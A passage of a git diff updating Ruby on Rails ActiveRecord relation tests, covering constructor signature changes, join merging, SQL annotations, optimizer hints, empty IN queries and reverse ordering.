+      assert_equal({}, relation.where_values_hash)
+
+      relation.where!(relation.table[:id].not_eq(10))
+      assert_equal({}, relation.where_values_hash)
+
+      relation.where!(relation.table[:id].is_distinct_from(10))
       assert_equal({}, relation.where_values_hash)
     end
 
+    def test_where_values_hash_with_in_clause
+      relation = Relation.new(Post)
+      relation.where!(title: ["foo", "bar", "hello"])
+
+      assert_equal({ "title" => ["foo", "bar", "hello"] }, relation.where_values_hash)
+    end
+
     def test_has_values
-      relation = Relation.new(Post, Post.arel_table, Post.predicate_builder)
-      relation.where! relation.table[:id].eq(10)
-      assert_equal({ id: 10 }, relation.where_values_hash)
+      relation = Relation.new(Post)
+      relation.where!(id: 10)
+      assert_equal({ "id" => 10 }, relation.where_values_hash)
     end
 
     def test_values_wrong_table
-      relation = Relation.new(Post, Post.arel_table, Post.predicate_builder)
+      relation = Relation.new(Post)
       relation.where! Comment.arel_table[:id].eq(10)
       assert_equal({}, relation.where_values_hash)
     end
 
     def test_tree_is_not_traversed
-      relation = Relation.new(Post, Post.arel_table, Post.predicate_builder)
+      relation = Relation.new(Post)
       left     = relation.table[:id].eq(10)
       right    = relation.table[:id].eq(10)
-      combine  = left.and right
+      combine  = left.or(right)
       relation.where! combine
       assert_equal({}, relation.where_values_hash)
     end
 
-    def test_table_name_delegates_to_klass
-      relation = Relation.new(FakeKlass.new("posts"), :b, Post.predicate_builder)
-      assert_equal "posts", relation.table_name
-    end
-
     def test_scope_for_create
-      relation = Relation.new(FakeKlass, :b, nil)
+      relation = Relation.new(FakeKlass)
       assert_equal({}, relation.scope_for_create)
     end
 
     def test_create_with_value
-      relation = Relation.new(Post, Post.arel_table, Post.predicate_builder)
-      hash = { hello: "world" }
-      relation.create_with_value = hash
-      assert_equal hash, relation.scope_for_create
+      relation = Relation.new(Post)
+      relation.create_with_value = { hello: "world" }
+      assert_equal({ "hello" => "world" }, relation.scope_for_create)
     end
 
     def test_create_with_value_with_wheres
-      relation = Relation.new(Post, Post.arel_table, Post.predicate_builder)
-      relation.where! relation.table[:id].eq(10)
+      relation = Relation.new(Post)
+      assert_equal({}, relation.scope_for_create)
+
+      relation.where!(id: 10)
+      assert_equal({ "id" => 10 }, relation.scope_for_create)
+
       relation.create_with_value = { hello: "world" }
-      assert_equal({ hello: "world", id: 10 }, relation.scope_for_create)
+      assert_equal({ "hello" => "world", "id" => 10 }, relation.scope_for_create)
     end
 
-    # FIXME: is this really wanted or expected behavior?
-    def test_scope_for_create_is_cached
-      relation = Relation.new(Post, Post.arel_table, Post.predicate_builder)
-      assert_equal({}, relation.scope_for_create)
+    def test_empty_scope
+      relation = Relation.new(Post)
+      assert_predicate relation, :empty_scope?
 
-      relation.where! relation.table[:id].eq(10)
-      assert_equal({}, relation.scope_for_create)
+      relation.merge!(relation)
+      assert_predicate relation, :empty_scope?
 
-      relation.create_with_value = { hello: "world" }
-      assert_equal({}, relation.scope_for_create)
+      assert_not_predicate NullPost.all, :empty_scope?
+      assert_not_predicate FirstPost.all, :empty_scope?
     end
 
     def test_bad_constants_raise_errors
@@ -132,31 +145,31 @@ def test_bad_constants_raise_errors
     end
 
     def test_empty_eager_loading?
-      relation = Relation.new(FakeKlass, :b, nil)
-      assert !relation.eager_loading?
+      relation = Relation.new(FakeKlass)
+      assert_not_predicate relation, :eager_loading?
     end
 
     def test_eager_load_values
-      relation = Relation.new(FakeKlass, :b, nil)
+      relation = Relation.new(FakeKlass)
       relation.eager_load! :b
-      assert relation.eager_loading?
+      assert_predicate relation, :eager_loading?
     end
 
     def test_references_values
-      relation = Relation.new(FakeKlass, :b, nil)
+      relation = Relation.new(FakeKlass)
       assert_equal [], relation.references_values
       relation = relation.references(:foo).references(:omg, :lol)
-      assert_equal ["foo", "omg", "lol"], relation.references_values
+      assert_equal [:foo, :omg, :lol], relation.references_values
     end
 
     def test_references_values_dont_duplicate
-      relation = Relation.new(FakeKlass, :b, nil)
+      relation = Relation.new(FakeKlass)
       relation = relation.references(:foo).references(:foo)
-      assert_equal ["foo"], relation.references_values
+      assert_equal [:foo], relation.references_values
     end
 
     test "merging a hash into a relation" do
-      relation = Relation.new(Post, Post.arel_table, Post.predicate_builder)
+      relation = Relation.new(Post)
       relation = relation.merge where: { name: :lol }, readonly: true
 
       assert_equal({ "name" => :lol }, relation.where_clause.to_h)
@@ -164,7 +177,7 @@ def test_references_values_dont_duplicate
     end
 
     test "merging an empty hash into a relation" do
-      assert_equal Relation::WhereClause.empty, Relation.new(FakeKlass, :b, nil).merge({}).where_clause
+      assert_equal Relation::WhereClause.empty, Relation.new(FakeKlass).merge({}).where_clause
     end
 
     test "merging a hash with unknown keys raises" do
@@ -172,7 +185,7 @@ def test_references_values_dont_duplicate
     end
 
     test "merging nil or false raises" do
-      relation = Relation.new(FakeKlass, :b, nil)
+      relation = Relation.new(FakeKlass)
 
       e = assert_raises(ArgumentError) do
         relation = relation.merge nil
@@ -188,7 +201,7 @@ def test_references_values_dont_duplicate
     end
 
     test "#values returns a dup of the values" do
-      relation = Relation.new(Post, Post.arel_table, Post.predicate_builder).where!(name: :foo)
+      relation = Relation.new(Post).where!(name: :foo)
       values   = relation.values
 
       values[:where] = nil
@@ -196,7 +209,7 @@ def test_references_values_dont_duplicate
     end
 
     test "relations can be created with a values hash" do
-      relation = Relation.new(FakeKlass, :b, nil, select: [:foo])
+      relation = Relation.new(FakeKlass, values: { select: [:foo] })
       assert_equal [:foo], relation.select_values
     end
 
@@ -208,13 +221,13 @@ def self.sanitize_sql(args)
         end
       end
 
-      relation = Relation.new(klass, :b, nil)
+      relation = Relation.new(klass)
       relation.merge!(where: ["foo = ?", "bar"])
-      assert_equal Relation::WhereClause.new(["foo = bar"], []), relation.where_clause
+      assert_equal Relation::WhereClause.new([Arel.sql("(foo = ?)", "bar")]), relation.where_clause
     end
 
     def test_merging_readonly_false
-      relation = Relation.new(FakeKlass, :b, nil)
+      relation = Relation.new(FakeKlass)
       readonly_false_relation = relation.readonly(false)
       # test merging in both directions
       assert_equal false, relation.merge(readonly_false_relation).readonly_value
@@ -224,7 +237,50 @@ def test_merging_readonly_false
     def test_relation_merging_with_merged_joins_as_symbols
       special_comments_with_ratings = SpecialComment.joins(:ratings)
       posts_with_special_comments_with_ratings = Post.group("posts.id").joins(:special_comments).merge(special_comments_with_ratings)
-      assert_equal({ 2 => 1, 4 => 3, 5 => 1 }, authors(:david).posts.merge(posts_with_special_comments_with_ratings).count)
+      assert_equal({ 4 => 2 }, authors(:david).posts.merge(posts_with_special_comments_with_ratings).count)
+    end
+
+    def test_relation_merging_with_merged_symbol_joins_keeps_inner_joins
+      queries = capture_sql { Author.joins(:posts).merge(Post.joins(:comments)).to_a }
+
+      nb_inner_join = queries.sum { |sql| sql.scan(/INNER\s+JOIN/i).size }
+      assert_equal 2, nb_inner_join, "Wrong amount of INNER JOIN in query"
+      assert queries.none? { |sql| /LEFT\s+(OUTER)?\s+JOIN/i.match?(sql) }, "Shouldn't have any LEFT JOIN in query"
+    end
+
+    def test_relation_merging_with_merged_symbol_joins_has_correct_size_and_count
+      # Has one entry per comment
+      merged_authors_with_commented_posts_relation = Author.joins(:posts).merge(Post.joins(:comments))
+
+      post_ids_with_author = Post.joins(:author).pluck(:id)
+      manual_comments_on_post_that_have_author = Comment.where(post_id: post_ids_with_author).pluck(:id)
+
+      assert_equal manual_comments_on_post_that_have_author.size, merged_authors_with_commented_posts_relation.count
+      assert_equal manual_comments_on_post_that_have_author.size, merged_authors_with_commented_posts_relation.to_a.size
+    end
+
+    def test_relation_merging_with_merged_symbol_joins_is_aliased
+      categorizations_with_authors = Categorization.joins(:author)
+      queries = capture_sql { Post.joins(:author, :categorizations).merge(Author.select(:id)).merge(categorizations_with_authors).to_a }
+
+      nb_inner_join = queries.sum { |sql| sql.scan(/INNER\s+JOIN/i).size }
+      assert_equal 3, nb_inner_join, "Wrong amount of INNER JOIN in query"
+
+      # using `\W` as the column separator
+      assert queries.any? { |sql| %r[INNER\s+JOIN\s+#{Regexp.escape(Author.quoted_table_name)}\s+(AS\s+)?\Wauthors_categorizations\W]i.match?(sql) }, "Should be aliasing the child INNER JOINs in query"
+    end
+
+    def test_relation_with_merged_joins_aliased_works
+      categorizations_with_authors = Categorization.joins(:author)
+      posts_with_joins_and_merges = Post.joins(:author, :categorizations)
+                                        .merge(Author.select(:id)).merge(categorizations_with_authors)
+
+      author_with_posts = Author.joins(:posts).pluck(:id)
+      categorizations_with_author = Categorization.joins(:author).pluck(:id)
+      posts_with_author_and_categorizations = Post.joins(:categorizations).where(author_id: author_with_posts, categorizations: { id: categorizations_with_author }).pluck(:id)
+
+      assert_equal posts_with_author_and_categorizations.size, posts_with_joins_and_merges.count
+      assert_equal posts_with_author_and_categorizations.size, posts_with_joins_and_merges.to_a.size
     end
 
     def test_relation_merging_with_joins_as_join_dependency_pick_proper_parent
@@ -239,24 +295,23 @@ def test_relation_merging_with_joins_as_join_dependency_pick_proper_parent
 
     def test_merge_raises_with_invalid_argument
       assert_raises ArgumentError do
-        relation = Relation.new(FakeKlass, :b, nil)
+        relation = Relation.new(FakeKlass)
         relation.merge(true)
       end
     end
 
     def test_respond_to_for_non_selected_element
       post = Post.select(:title).first
-      assert_equal false, post.respond_to?(:body), "post should not respond_to?(:body) since invoking it raises exception"
+      assert_not_respond_to post, :body, "post should not respond_to?(:body) since invoking it raises exception"
 
       silence_warnings { post = Post.select("'title' as post_title").first }
-      assert_equal false, post.respond_to?(:title), "post should not respond_to?(:body) since invoking it raises exception"
+      assert_not_respond_to post, :title, "post should not respond_to?(:body) since invoking it raises exception"
     end
 
     def test_select_quotes_when_using_from_clause
       skip_if_sqlite3_version_includes_quoting_bug
-      quoted_join = ActiveRecord::Base.connection.quote_table_name("join")
-      selected = Post.select(:join).from(Post.select("id as #{quoted_join}")).map(&:join)
-      assert_equal Post.pluck(:id), selected
+      selected = Post.select(:join).from(Post.select("id as #{quote_table_name("join")}")).map(&:join)
+      assert_equal Post.pluck(:id).sort, selected.sort
     end
 
     def test_selecting_aliased_attribute_quotes_column_name_when_from_is_used
@@ -268,6 +323,7 @@ def test_selecting_aliased_attribute_quotes_column_name_when_from_is_used
       klass.create!(description: "foo")
 
       assert_equal ["foo"], klass.select(:description).from(klass.all).map(&:desc)
+      assert_equal ["foo"], klass.reselect(:description).from(klass.all).map(&:desc)
     end
 
     def test_relation_merging_with_merged_joins_as_strings
@@ -277,18 +333,103 @@ def test_relation_merging_with_merged_joins_as_strings
       assert_equal({ 2 => 1, 4 => 3, 5 => 1 }, authors(:david).posts.merge(posts_with_special_comments_with_ratings).count)
     end
 
+    def test_relation_merging_keeps_joining_order
+      authors  = Author.where(id: 1)
+      posts    = Post.joins(:author).merge(authors)
+      comments = Comment.joins(:post).merge(posts)
+      ratings  = Rating.joins(:comment).merge(comments)
+
+      assert_equal 3, ratings.count
+    end
+
+    def test_relation_with_annotation_includes_comment_in_to_sql
+      post_with_annotation = Post.where(id: 1).annotate("foo")
+      assert_match %r{= 1 /\* foo \*/}, post_with_annotation.to_sql
+    end
+
+    def test_relation_with_annotation_includes_comment_in_sql
+      post_with_annotation = Post.where(id: 1).annotate("foo")
+      assert_queries_match(%r{/\* foo \*/}) do
+        assert post_with_annotation.first, "record should be found"
+      end
+    end
+
+    def test_relation_with_annotation_chains_sql_comments
+      post_with_annotation = Post.where(id: 1).annotate("foo").annotate("bar")
+      assert_queries_match(%r{/\* foo \*/ /\* bar \*/}) do
+        assert post_with_annotation.first, "record should be found"
+      end
+    end
+
+    def test_relation_with_annotation_filters_sql_comment_delimiters
+      post_with_annotation = Post.where(id: 1).annotate("**//foo//**")
+      assert_includes post_with_annotation.to_sql, "= 1 /* ** //foo// ** */"
+    end
+
+    def test_relation_with_annotation_includes_comment_in_count_query
+      post_with_annotation = Post.annotate("foo")
+      all_count = Post.all.to_a.count
+      assert_queries_match(%r{/\* foo \*/}) do
+        assert_equal all_count, post_with_annotation.count
+      end
+    end
+
+    def test_relation_with_annotation_includes_comment_in_update_all_query
+      post_with_annotation = Post.annotate("foo")
+      all_count = Post.all.to_a.count
+      assert_queries_match(%r{/\* foo \*/}) do
+        assert_equal all_count, post_with_annotation.update_all(title: "Same title")
+      end
+    end
+
+    def test_relation_with_annotation_includes_comment_in_delete_all_query
+      post_with_annotation = Post.annotate("foo")
+      all_count = Post.all.to_a.count
+      assert_queries_match(%r{/\* foo \*/}) do
+        assert_equal all_count, post_with_annotation.delete_all
+      end
+    end
+
+    def test_relation_without_annotation_does_not_include_an_empty_comment
+      log = capture_sql do
+        Post.where(id: 1).first
+      end
+
+      assert_not_predicate log, :empty?
+      assert_predicate log.select { |query| query.match?(%r{/\*}) }, :empty?
+    end
+
+    def test_relation_with_optimizer_hints_filters_sql_comment_delimiters
+      post_with_hint = Post.where(id: 1).optimizer_hints("**//BADHINT//**")
+      assert_includes post_with_hint.to_sql, "/*+ ** //BADHINT// ** */"
+      post_with_hint = Post.where(id: 1).optimizer_hints("/*+ BADHINT */")
+      assert_includes post_with_hint.to_sql, "/*+ BADHINT */"
+    end
+
+    def test_does_not_duplicate_optimizer_hints_on_merge
+      escaped_table = quote_table_name("posts")
+      expected = "SELECT /*+ OMGHINT */ #{escaped_table}.* FROM #{escaped_table}"
+      query = Post.optimizer_hints("OMGHINT").merge(Post.optimizer_hints("OMGHINT")).to_sql
+      assert_equal expected, query
+    end
+
     class EnsureRoundTripTypeCasting < ActiveRecord::Type::Value
       def type
         :string
       end
 
+      def cast(value)
+        raise value unless value == "value from user"
+        "cast value"
+      end
+
       def deserialize(value)
         raise value unless value == "type cast for database"
         "type cast from database"
       end
 
       def serialize(value)
-        raise value unless value == "value from user"
+        raise value unless value == "cast value"
         "type cast for database"
       end
     end
@@ -305,8 +446,57 @@ def test_update_all_goes_through_normal_type_casting
       assert_equal "type cast from database", UpdateAllTestModel.first.body
     end
 
-    private
+    def test_skip_preloading_after_arel_has_been_generated
+      assert_nothing_raised do
+        relation = Comment.all
+        relation.arel
+        relation.skip_preloading!
+      end
+    end
+
+    test "no queries on empty IN" do
+      assert_queries_count(0) do
+        Post.where(id: []).load
+      end
+    end
+
+    test "no queries when using pick with non-aggregate expression and empty IN" do
+      assert_queries_count(0) do
+        assert_nil Post.where(id: []).pick(Arel.sql("id"))
+      end
+    end
+
+    test "no queries when using pick with any non-aggregate expression and empty IN" do
+      assert_queries_count(0) do
+        assert_nil Post.where(id: []).pick(Arel.sql("id"), Arel.sql("LENGTH(title)"))
+      end
+    end
 
+    test "runs queries when using pick with aggregate expression despite empty IN" do
+      assert_queries_count(1) do
+        assert_equal 0, Post.where(id: []).pick(Arel.sql("COUNT(*)"))
+      end
+    end
+
+    test "can unscope empty IN" do
+      assert_queries_count(1) do
+        Post.where(id: []).unscope(where: :id).load
+      end
+    end
+
+    test "no queries on empty relation exists?" do
+      assert_queries_count(0) do
+        Post.where(id: []).exists?(123)
+      end
+    end
+
+    test "no queries on empty condition exists?" do
+      assert_queries_count(0) do
+        Post.all.exists?(id: [])
+      end
+    end
+
+    private
       def skip_if_sqlite3_version_includes_quoting_bug
         if sqlite3_version_includes_quoting_bug?
           skip <<-ERROR.squish
@@ -319,7 +509,7 @@ def skip_if_sqlite3_version_includes_quoting_bug
 
       def sqlite3_version_includes_quoting_bug?
         if current_adapter?(:SQLite3Adapter)
-          selected_quoted_column_names = ActiveRecord::Base.connection.exec_query(
+          selected_quoted_column_names = ActiveRecord::Base.lease_connection.exec_query(
             'SELECT "join" FROM (SELECT id AS "join" FROM posts) subquery'
           ).columns
           ["join"] != selected_quoted_column_names
diff --git a/activerecord/test/cases/relations_test.rb b/activerecord/test/cases/relations_test.rb
index 0c94e891ebeed..cbaf9a6ad7c38 100644
--- a/activerecord/test/cases/relations_test.rb
+++ b/activerecord/test/cases/relations_test.rb
@@ -1,4 +1,8 @@
+# frozen_string_literal: true
+
+require "pp"
 require "cases/helper"
+require "support/deprecated_associations_test_helpers.rb"
 require "models/tag"
 require "models/tagging"
 require "models/post"
@@ -7,28 +11,29 @@
 require "models/author"
 require "models/entrant"
 require "models/developer"
+require "models/project"
+require "models/person"
 require "models/computer"
 require "models/reply"
 require "models/company"
+require "models/contract"
 require "models/bird"
 require "models/car"
 require "models/engine"
-require "models/tyre"
+require "models/tire"
 require "models/minivan"
-require "models/aircraft"
 require "models/possession"
 require "models/reader"
+require "models/category"
 require "models/categorization"
 require "models/edge"
+require "models/wheel"
+require "models/subscriber"
+require "models/cpk"
+require "models/dats"
 
 class RelationTest < ActiveRecord::TestCase
-  fixtures :authors, :topics, :entrants, :developers, :companies, :developers_projects, :accounts, :categories, :categorizations, :posts, :comments,
-    :tags, :taggings, :cars, :minivans
-
-  class TopicWithCallbacks < ActiveRecord::Base
-    self.table_name = :topics
-    before_update { |topic| topic.author_name = "David" if topic.author_name.blank? }
-  end
+  fixtures :authors, :author_addresses, :topics, :entrants, :developers, :people, :companies, :developers_projects, :accounts, :categories, :categorizations, :categories_posts, :posts, :comments, :tags, :taggings, :cars, :minivans, :cpk_orders
 
   def test_do_not_double_quote_string_id
     van = Minivan.last
@@ -44,18 +49,18 @@ def test_do_not_double_quote_string_id_with_array
 
   def test_two_scopes_with_includes_should_not_drop_any_include
     # heat habtm cache
-    car = Car.incl_engines.incl_tyres.first
-    car.tyres.length
+    car = Car.incl_engines.incl_tires.first
+    car.tires.length
     car.engines.length
 
-    car = Car.incl_engines.incl_tyres.first
-    assert_no_queries { car.tyres.length }
+    car = Car.incl_engines.incl_tires.first
+    assert_no_queries { car.tires.length }
     assert_no_queries { car.engines.length }
   end
 
   def test_dynamic_finder
     x = Post.where("author_id = ?", 1)
-    assert x.klass.respond_to?(:find_by_id), "@klass should handle dynamic finders"
+    assert_respond_to x.model, :find_by_id
   end
 
   def test_multivalue_where
@@ -93,50 +98,54 @@ def test_scoped_all
   def test_loaded_all
     topics = Topic.all
 
-    assert_queries(1) do
+    assert_not_predicate topics, :loaded?
+    assert_not_predicate topics, :loaded
+
+    assert_queries_count(1) do
       2.times { assert_equal 5, topics.to_a.size }
     end
 
-    assert topics.loaded?
+    assert_predicate topics, :loaded?
+    assert_predicate topics, :loaded
   end
 
   def test_scoped_first
     topics = Topic.all.order("id ASC")
 
-    assert_queries(1) do
+    assert_queries_count(1) do
       2.times { assert_equal "The First Topic", topics.first.title }
     end
 
-    assert ! topics.loaded?
+    assert_not_predicate topics, :loaded?
   end
 
   def test_loaded_first
     topics = Topic.all.order("id ASC")
-    topics.to_a # force load
+    topics.load # force load
 
     assert_no_queries do
       assert_equal "The First Topic", topics.first.title
     end
 
-    assert topics.loaded?
+    assert_predicate topics, :loaded?
   end
 
   def test_loaded_first_with_limit
     topics = Topic.all.order("id ASC")
-    topics.to_a # force load
+    topics.load # force load
 
     assert_no_queries do
       assert_equal ["The First Topic",
                     "The Second Topic of the day"], topics.first(2).map(&:title)
     end
 
-    assert topics.loaded?
+    assert_predicate topics, :loaded?
   end
 
   def test_first_get_more_than_available
     topics = Topic.all.order("id ASC")
     unloaded_first = topics.first(10)
-    topics.to_a # force load
+    topics.load # force load
 
     assert_no_queries do
       loaded_first = topics.first(10)
@@ -147,18 +156,18 @@ def test_first_get_more_than_available
   def test_reload
     topics = Topic.all
 
-    assert_queries(1) do
+    assert_queries_count(1) do
       2.times { topics.to_a }
     end
 
-    assert topics.loaded?
+    assert_predicate topics, :loaded?
 
     original_size = topics.to_a.size
     Topic.create! title: "fake"
 
-    assert_queries(1) { topics.reload }
+    assert_queries_count(1) { topics.reload }
     assert_equal original_size + 1, topics.size
-    assert topics.loaded?
+    assert_predicate topics, :loaded?
   end
 
   def test_finding_with_subquery
@@ -182,18 +191,79 @@ def test_finding_with_subquery_without_select_does_not_change_the_select
     end
   end
 
+  def test_select_with_from_includes_original_table_name
+    relation = Comment.joins(:post).select(:id).order(:id)
+    subquery = Comment.from("#{Comment.table_name} /*! USE INDEX (PRIMARY) */").joins(:post).select(:id).order(:id)
+    assert_equal relation.map(&:id), subquery.map(&:id)
+  end
+
+  def test_pluck_with_from_includes_original_table_name
+    relation = Comment.joins(:post).order(:id)
+    subquery = Comment.from("#{Comment.table_name} /*! USE INDEX (PRIMARY) */").joins(:post).order(:id)
+    assert_equal relation.pluck(:id), subquery.pluck(:id)
+  end
+
+  def test_select_with_from_includes_quoted_original_table_name
+    relation = Comment.joins(:post).select(:id).order(:id)
+    subquery = Comment.from("#{Comment.quoted_table_name} /*! USE INDEX (PRIMARY) */").joins(:post).select(:id).order(:id)
+    assert_equal relation.map(&:id), subquery.map(&:id)
+  end
+
+  def test_pluck_with_from_includes_quoted_original_table_name
+    relation = Comment.joins(:post).order(:id)
+    subquery = Comment.from("#{Comment.quoted_table_name} /*! USE INDEX (PRIMARY) */").joins(:post).order(:id)
+    assert_equal relation.pluck(:id), subquery.pluck(:id)
+  end
+
+  def test_select_with_subquery_in_from_uses_original_table_name
+    relation = Comment.joins(:post).select(:id).order(:id)
+    # Avoid subquery flattening by adding distinct to work with SQLite < 3.20.0.
+    subquery = Comment.from(Comment.all.distinct, Comment.quoted_table_name).joins(:post).select(:id).order(:id)
+    assert_equal relation.map(&:id), subquery.map(&:id)
+  end
+
+  def test_pluck_with_subquery_in_from_uses_original_table_name
+    relation = Comment.joins(:post).order(:id)
+    subquery = Comment.from(Comment.all, Comment.quoted_table_name).joins(:post).order(:id)
+    assert_equal relation.pluck(:id), subquery.pluck(:id)
+  end
+
   def test_select_with_subquery_in_from_does_not_use_original_table_name
     relation = Comment.group(:type).select("COUNT(post_id) AS post_count, type")
-    subquery = Comment.from(relation).select("type", "post_count")
+    subquery = Comment.from(relation, "grouped_#{Comment.table_name}").select("type", "post_count")
     assert_equal(relation.map(&:post_count).sort, subquery.map(&:post_count).sort)
   end
 
   def test_group_with_subquery_in_from_does_not_use_original_table_name
     relation = Comment.group(:type).select("COUNT(post_id) AS post_count,type")
-    subquery = Comment.from(relation).group("type").average("post_count")
+    subquery = Comment.from(relation, "grouped_#{Comment.table_name}").group("type").average("post_count")
     assert_equal(relation.map(&:post_count).sort, subquery.values.sort)
   end
 
+  def test_select_with_subquery_string_in_from_does_not_use_original_table_name
+    relation = Comment.group(:type).select("COUNT(post_id) AS post_count, type")
+    subquery = Comment.from("(#{relation.to_sql}) #{Comment.table_name}_grouped").select("type", "post_count")
+    assert_equal(relation.map(&:post_count).sort, subquery.map(&:post_count).sort)
+  end
+
+  def test_group_with_subquery_string_in_from_does_not_use_original_table_name
+    relation = Comment.group(:type).select("COUNT(post_id) AS post_count,type")
+    subquery = Comment.from("(#{relation.to_sql}) #{Comment.table_name}_grouped").group("type").average("post_count")
+    assert_equal(relation.map(&:post_count).sort, subquery.values.sort)
+  end
+
+  def test_finding_with_subquery_with_eager_loading_in_from
+    relation = Comment.includes(:post).where("posts.type": "Post").order(:id)
+    assert_equal relation.to_a, Comment.select("*").from(relation).to_a
+    assert_equal relation.to_a, Comment.select("subquery.*").from(relation).to_a
+    assert_equal relation.to_a, Comment.select("a.*").from(relation, :a).to_a
+  end
+
+  def test_finding_with_subquery_with_eager_loading_in_where
+    relation = Comment.includes(:post).where("posts.type": "Post")
+    assert_equal relation.sort_by(&:id), Comment.where(id: relation).sort_by(&:id)
+  end
+
   def test_finding_with_conditions
     assert_equal ["David"], Author.where(name: "David").map(&:name)
     assert_equal ["Mary"],  Author.where(["name = ?", "Mary"]).map(&:name)
@@ -218,15 +288,37 @@ def test_finding_with_assoc_order
     assert_equal topics(:fifth).title, topics.first.title
   end
 
-  def test_finding_with_reverted_assoc_order
+  def test_finding_with_arel_assoc_order
+    topics = Topic.order(Arel.sql("id") => :desc)
+    assert_equal 5, topics.to_a.size
+    assert_equal topics(:fifth).title, topics.first.title
+  end
+
+  def test_finding_with_reversed_assoc_order
     topics = Topic.order(id: :asc).reverse_order
     assert_equal 5, topics.to_a.size
     assert_equal topics(:fifth).title, topics.first.title
   end
 
+  def test_finding_with_reversed_arel_assoc_order
+    topics = Topic.order(Arel.sql("id") => :asc).reverse_order
+    assert_equal 5, topics.to_a.size
+    assert_equal topics(:fifth).title, topics.first.title
+  end
+
   def test_reverse_order_with_function
-    topics = Topic.order("length(title)").reverse_order
-    assert_equal topics(:second).title, topics.first.title
+    topics = Topic.order("lower(title)").reverse_order
+    assert_equal topics(:third).title, topics.first.title
+  end
+
+  def test_reverse_arel_order_with_function
+    topics = Topic.order(Topic.arel_table[:title].lower).reverse_order
+    assert_equal topics(:third).title, topics.first.title
+  end
+
+  def test_reverse_arel_assoc_order_with_function
+    topics = Topic.order(Arel.sql("lower(title)") => :asc).reverse_order
+    assert_equal topics(:third).title, topics.first.title
   end
 
   def test_reverse_order_with_function_other_predicates
@@ -238,16 +330,22 @@ def test_reverse_order_with_function_other_predicates
 
   def test_reverse_order_with_multiargument_function
     assert_raises(ActiveRecord::IrreversibleOrderError) do
-      Topic.order("concat(author_name, title)").reverse_order
+      Topic.order(Arel.sql("concat(author_name, title)")).reverse_order
     end
     assert_raises(ActiveRecord::IrreversibleOrderError) do
-      Topic.order("concat(lower(author_name), title)").reverse_order
+      Topic.order(Arel.sql("concat(lower(author_name), title)")).reverse_order
     end
     assert_raises(ActiveRecord::IrreversibleOrderError) do
-      Topic.order("concat(author_name, lower(title))").reverse_order
+      Topic.order(Arel.sql("concat(author_name, lower(title))")).reverse_order
     end
     assert_raises(ActiveRecord::IrreversibleOrderError) do
-      Topic.order("concat(lower(author_name), title, length(title)").reverse_order
+      Topic.order(Arel.sql("concat(lower(author_name), title, length(title)")).reverse_order
+    end
+  end
+
+  def test_reverse_arel_assoc_order_with_multiargument_function
+    assert_nothing_raised do
+      Topic.order(Arel.sql("REPLACE(title, '', '')") => :asc).reverse_order
     end
   end
 
@@ -255,15 +353,38 @@ def test_reverse_order_with_nulls_first_or_last
     assert_raises(ActiveRecord::IrreversibleOrderError) do
       Topic.order("title NULLS FIRST").reverse_order
     end
+    assert_raises(ActiveRecord::IrreversibleOrderError) do
+      Topic.order("title  NULLS  FIRST").reverse_order
+    end
     assert_raises(ActiveRecord::IrreversibleOrderError) do
       Topic.order("title nulls last").reverse_order
     end
-  end
+    assert_raises(ActiveRecord::IrreversibleOrderError) do
+      Topic.order("title NULLS FIRST, author_name").reverse_order
+    end
+    assert_raises(ActiveRecord::IrreversibleOrderError) do
+      Topic.order("author_name, title nulls last").reverse_order
+    end
+  end if current_adapter?(:PostgreSQLAdapter)
 
   def test_default_reverse_order_on_table_without_primary_key
-    assert_raises(ActiveRecord::IrreversibleOrderError) do
+    error = assert_raises(ActiveRecord::IrreversibleOrderError) do
       Edge.all.reverse_order
     end
+    assert_match(/Relation has no order values/, error.message)
+  end
+
+  def test_default_reverse_order_on_table_without_primary_key_with_implicit_order_column
+    ordered_edge = Class.new(Edge) do
+      self.implicit_order_column = "source_id"
+    end
+
+    ordered_edge.delete_all
+
+    edge_1 = ordered_edge.create!(source_id: 1, sink_id: 2)
+    edge_2 = ordered_edge.create!(source_id: 2, sink_id: 3)
+    assert_equal edge_1.source_id, ordered_edge.all.first.source_id
+    assert_equal edge_2.source_id, ordered_edge.all.reverse_order.first.source_id
   end
 
   def test_order_with_hash_and_symbol_generates_the_same_sql
@@ -328,6 +449,11 @@ def test_finding_with_reorder
     assert_equal ["The First Topic", "The Second Topic of the day", "The Third Topic of the day", "The Fourth Topic of the day", "The Fifth Topic of the day"], topics_titles
   end
 
+  def test_reorder_deduplication
+    topics = Topic.reorder("id desc", "id desc")
+    assert_equal ["id desc"], topics.order_values
+  end
+
   def test_finding_with_reorder_by_aliased_attributes
     topics = Topic.order("author_name").reorder(:heading)
     assert_equal 5, topics.to_a.size
@@ -349,29 +475,48 @@ def test_finding_with_order_and_take
 
   def test_finding_with_cross_table_order_and_limit
     tags = Tag.includes(:taggings).
-              order("tags.name asc", "taggings.taggable_id asc", "REPLACE('abc', taggings.taggable_type, taggings.taggable_type)").
+              order("tags.name asc", "taggings.taggable_id asc", Arel.sql("REPLACE('abc', taggings.taggable_type, taggings.taggable_type)")).
               limit(1).to_a
     assert_equal 1, tags.length
   end
 
   def test_finding_with_complex_order_and_limit
-    tags = Tag.includes(:taggings).references(:taggings).order("REPLACE('abc', taggings.taggable_type, taggings.taggable_type)").limit(1).to_a
+    tags = Tag.includes(:taggings).references(:taggings).order(Arel.sql("REPLACE('abc', taggings.taggable_type, taggings.taggable_type)")).limit(1).to_a
     assert_equal 1, tags.length
   end
 
   def test_finding_with_complex_order
-    tags = Tag.includes(:taggings).references(:taggings).order("REPLACE('abc', taggings.taggable_type, taggings.taggable_type)").to_a
+    tags = Tag.includes(:taggings).references(:taggings).order(Arel.sql("REPLACE('abc', taggings.taggable_type, taggings.taggable_type)")).to_a
     assert_equal 3, tags.length
   end
 
   def test_finding_with_sanitized_order
-    query = Tag.order(["field(id, ?)", [1, 3, 2]]).to_sql
-    assert_match(/field\(id, 1,3,2\)/, query)
+    query = Tag.order([Arel.sql("field(id, ?)"), [1, 3, 2]]).to_sql
+    if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+      assert_match(/field\(id, '1',\s*'3',\s*'2'\)/, query)
+    else
+      assert_match(/field\(id, 1,\s*3,\s*2\)/, query)
+    end
+
+    query = Tag.order([Arel.sql("field(id, ?)"), []]).to_sql
+    assert_match(/field\(id, NULL\)/, query)
+
+    query = Tag.order([Arel.sql("field(id, ?)"), nil]).to_sql
+    assert_match(/field\(id, NULL\)/, query)
+  end
+
+  def test_finding_with_arel_sql_order
+    query = Tag.order(Arel.sql("field(id, ?)", [1, 3, 2])).to_sql
+    if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+      assert_match(/field\(id, '1', '3', '2'\)/, query)
+    else
